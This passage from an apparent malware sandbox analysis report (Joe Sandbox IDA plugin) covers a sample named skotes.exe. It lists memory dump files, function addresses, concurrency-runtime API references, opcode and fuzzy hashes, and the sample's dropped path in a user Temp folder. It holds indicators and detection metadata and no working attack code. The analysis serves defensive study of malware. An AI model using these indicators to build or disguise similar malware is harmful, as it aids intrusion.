Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: ListSpinWait$AcquireAliasBase::ClearConcurrency::details::Concurrency::details::_ContextLock::_ReaderTableWriteWriter
String ID:
API String ID: 3281396844-0
Opcode ID: 1b0a474225dd614da6871e4d1c81e894c96d7d6df8b72ff8eeb87b03b0338657
Instruction ID: efd7a817345eaffe9852c1d502208191edf07a61470fbea4ed0875adf0e63faf
Opcode Fuzzy Hash: 1b0a474225dd614da6871e4d1c81e894c96d7d6df8b72ff8eeb87b03b0338657
Instruction Fuzzy Hash: A6318972901255DFCB50EFA4C985BEDBBB1BF04708F28406ED40137252EB39AD14CB92

Function 007D182A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 007D18A4
Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 007D18EB

Strings

pContext, xrefs: 007D189C

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: 588a1356af8710e349554057c2d39fd676d290281a26913316e0ff512e89b33d
Instruction ID: 9747bdbcc8ab08b6774ddad964be5df615fd66172d4b2bad9cbc1d02bae54187
Opcode Fuzzy Hash: 588a1356af8710e349554057c2d39fd676d290281a26913316e0ff512e89b33d
Instruction Fuzzy Hash: E921E031B00615EBCB18EB68D899ABDB3B9BF94334B44412BE511873D1CBACA841DAD1

Function 007DDFE3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 85COMMON

Download Yara Rule

Strings

6}, xrefs: 007DE034
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, xrefs: 007DDFE8

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: 6}$C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
API String ID: 0-2506052745
Opcode ID: 03af63188251054b3007ff4ef60d0c3019cdcad58fdf1a0d1e660e1929315273
Instruction ID: 30f952884d6582f1f18d63107680055524c7f1ef0a5e2840d94ffd73d50f9143
Opcode Fuzzy Hash: 03af63188251054b3007ff4ef60d0c3019cdcad58fdf1a0d1e660e1929315273
Instruction Fuzzy Hash: FF219271604209EFEB32BF659D84E6B77BDAF003647208516F9299A351E778EC10C761

Function 007CAE65 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

List.LIBCONCRT ref: 007CAEEA
std::invalid_argument::invalid_argument.LIBCONCRT ref: 007CAF0F
Concurrency::details::FreeVirtualProcessorRoot::FreeVirtualProcessorRoot.LIBCONCRT ref: 007CAF4E

Strings

pExecutionResource, xrefs: 007CAF07

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: FreeProcessorVirtual$Concurrency::details::ListRootRoot::std::invalid_argument::invalid_argument
String ID: pExecutionResource
API String ID: 1772865662-359481074
Opcode ID: bee703bfeb749f8707a6b9fc20535eaaee83516028d4e810f20394826a1ecd8e
Instruction ID: 2772b2a4dc6345f8cdede8a59d3b1365816a617842637fb54d0173c688302057
Opcode Fuzzy Hash: bee703bfeb749f8707a6b9fc20535eaaee83516028d4e810f20394826a1ecd8e
Instruction Fuzzy Hash: 8521B9B5640209EBCB14EF64CC46BED77B5BF48310F10402DE501AB382DBB8AE14CB91

Function 007C4EA2 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 007C4F24
Concurrency::details::CacheLocalScheduleGroupSegment::CacheLocalScheduleGroupSegment.LIBCONCRT ref: 007C4F66

Strings

ppVirtualProcessorRoots, xrefs: 007C4F1C
count, xrefs: 007C4EBA

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
